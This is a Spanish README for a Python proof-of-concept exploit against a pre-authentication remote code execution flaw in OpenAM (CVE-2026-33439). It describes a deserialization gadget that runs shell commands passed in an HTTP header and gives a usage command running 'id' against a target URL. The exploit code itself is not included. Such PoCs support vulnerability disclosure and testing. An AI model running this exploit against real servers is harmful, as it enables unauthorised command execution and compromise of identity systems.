CVE-2026-33439 Python PoC

Prueba de concepto en Python independiente para la vulnerabilidad de ejecución remota de código de preautenticación en OpenAM en la deserialización de jato.clientSession.

El gadget Click/Xalan embebido lee un comando de shell desde el encabezado HTTP cmd y devuelve su salida en la respuesta HTTP. No se requieren paquetes externos de Python, entorno de ejecución de Java ni archivos JAR.

Uso

python3 exploit.py \
  --url https://target.example/openam/ui/PWResetUserValidation \
  'id'

Argumentos opcionales:

--timeout SECONDS     Tiempo de espera de la solicitud (predeterminado: 15)
--proxy URL           Proxy HTTP, por ejemplo http://127.0.0.1:8080
--verify-tls          Habilitar la verificación del certificado TLS

Referencias

• Aviso de seguridad de OpenAM GHSA-2cqq-rpvq-g5qj